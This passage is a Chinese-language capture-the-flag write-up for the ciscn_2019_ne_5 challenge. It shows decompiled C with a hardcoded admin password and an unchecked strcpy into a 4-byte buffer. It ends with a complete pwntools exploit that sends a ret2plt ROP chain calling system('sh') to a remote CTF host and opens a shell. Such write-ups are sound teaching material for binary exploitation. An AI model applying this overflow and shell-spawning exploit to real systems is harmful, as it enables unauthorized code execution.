char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
_BYTE v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exitn:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}
```
bypass password 没啥好说的,main 函数中 `__isoc99_scanf("%100s", s1);` 虽然可以
破坏一些栈布局,但是程序下面有个 while 死循环,以致 main 不会返回,所以肯定不能
通过这个输入构造 ROP Chain.
继续往下看,while 里面的 scanf 也没有漏洞,不过发现一个隐藏选项 4。一个一个看,`
AddLog` 里面有一个 scanf,接收 128 字节,可以破坏栈布局,但是也不能用它构造 ROP
Chain,因为`AddLog` 是返回读取到的字节数,返回后又是一轮循环。
```c del={4}
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
```
`Display` 可以泄漏栈内容,或许有用,先放一边。
`Print` 里面调用了一个 `system`,说明我们可以直接用 `system@plt` 调用这个函数。
`GetFlag` 将我们输入 buffer 的内容直接复制到 `dest`,由于这个 `dest` 是局部数组
,只有 4 字节空间,`strcpy` 没有安全检查,我们可以利用这一点篡改 `GetFlag` 栈帧
的返回地址为 ROP Chain.
```c del={8}
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
_BYTE v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%sn", dest);
}
```
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
fit,
process,
raw_input,
remote,
)
FILE = "./ciscn_2019_ne_5"
HOST, PORT = "node5.buuoj.cn", 27219
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
target.sendlineafter(b"password:", b"administrator")
payload = fit(
{
0x4C: elf.plt["system"],
0x50: elf.plt["exit"],
0x54: next(elf.search(b"sh")),
}
)
# raw_input("DEBUG")
target.sendlineafter(b"Exit", str(1).encode())
target.sendlineafter(b"info:", payload)
target.sendlineafter(b"Exit", str(4).encode())
target.interactive()
if __name__ == "__main__":
main()
```